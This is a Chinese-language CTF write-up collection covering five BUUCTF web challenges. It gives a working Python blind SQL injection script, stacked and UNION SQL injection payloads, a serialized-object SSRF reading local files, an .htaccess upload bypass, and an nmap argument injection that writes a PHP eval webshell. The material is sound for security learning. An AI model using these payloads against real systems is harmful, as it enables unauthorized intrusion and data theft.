1.BUUCTF刷题-[CISCN2019 华北赛区 Day2 Web1]Hack World
表名,列名都给出了,应该是个bool盲注。
观察到,当查询1和2时会有特殊的返回结果,那就可以编写脚本构造判断来一个一个字符的去查flag。
import requests
import string
import time
def boolsql(url):
flag=''
strings = string.printable
for i in range(1,60):
for x in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(i, ord(x))
post_data = {"id": payload}
time.sleep(0.05)//加sleep的目的是防止过快的请求导致错过正确字符
response=requests.post(url=url,data=post_data)
if 'Hello' in response.text:
flag=flag+x
print(flag)
break
if __name__ == '__main__':
url = "http://bd043190-0825-4a9f-8a6f-856b3c285102.node4.buuoj.cn:81/index.php"
boolsql(url)
很快就跑出flag。
2.BUUCTF刷题-[GYCTF2020]Blacklist
看上去是个sql注入题,先试试有没有过滤什么关键词。
过滤的也不多,起码单引号啥的没过滤。既然过滤了select,那就试试堆叠注入吧。
?inject=1';show+databases;%23
?inject=1';show+tables;%23
?inject=1';show+columns+from+FlagHere;%23
成功返回了数据库、表名、列名。
由于过滤了select,所以接下来很难再用堆叠注入来获得flag的值。
这里要引入一个新的知识点:handler命令。
?inject=1';handler+FlagHere+open;handler+FlagHere+read+first;%23
即可查询到flag。
3.BUUCTF刷题-[网鼎杯 2018]Fakebook
本题wp
注册登录一下,没发现啥有用的信息。
用dirsearch扫描一下目录,扫出flag.php和robots.txt两个有用的文件,目测flag就在flag.php里,但是直接访问的话访问不到,所以线索应该在robots.txt里。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
登陆后界面有个get注入点,尝试一下语句:
?no=-1/**/union/**/select 1,2,3,4
2正确回显了,所以判定2是一个正确的注入点。
?no=-1/**/union/**/select 1,database(),3,4
//库名fakebook
?no=-1/**/union/**/select 1,group_concat(distinct table_name),3,4 from information_schema.columns where table_schema='fakebook'
//表名users
?no=-1/**/union/**/select 1,group_concat(distinct column_name),3,4 from information_schema.columns where table_schema='fakebook'
//字段名no,username,passwd,data
?no=-1/**/union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
//字段值1adminba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:22:"https://www.baidu.com/";}
这是注意到有一段字段值为序列化内容,这表示的是刚才注册的那些信息。利用这个序列化内容构造payload,将原bolg地址改为flag.php的地址,最后构造的payload为:
?no=-1/**/union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
直接打开返回页面源码中的链接即可得到flag。
4.BUUCTF刷题-[GXYCTF2019]BabyUpload
上传.htaccess文件,把类型修改一下,再上传图马,即可连接webshell。
5.BUUCTF刷题-[BUUCTF 2018]Online Tool
wp
nmap相关的题目,先分析一波代码。
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
// escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
$host = escapeshellcmd($host);
//escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。简单来说,第一,如果输入内容中上述出现的特殊字符会被反斜杠给转义掉;第二,如果单引号和双引号不是成对出现时,会被转义掉。
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
//@是错误不进行回显;mkdir用来新建目录
chdir($sandbox);
//改变当前的目录
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
escapeshellarg()+escapeshellcmd()合用漏洞
重点内容就是:
1.传入的参数是:172.17.0.2' -v -d a=1
2.经过escapeshellarg处理后变成了'172.17.0.2''' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4.最后执行的命令是curl '172.17.0.2'\'' -v -d a=1',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'
接下来尝试构造payload,虽然我们有办法多传入几个参数,但是还是得在nmap语句中执行,所以要利用nmap本身的功能来实现注入。在nmap的输出模块中,找到一个有用的命令:
nmap -oG result.txt 可以将命令和结果写成特殊格式
可以利用这个命令来直接在服务器上写入一个一句话木马然后进行连接。
构造payload:
?host=' <?php @eval($_POST["passwd"]);?> -oG shell.php '
//经过两个函数后此payload相当于没有任何改变
// \' 代表一个单引号字符
传入payload,页面会回显存入的文件夹名称。访问目录下的webshell即可。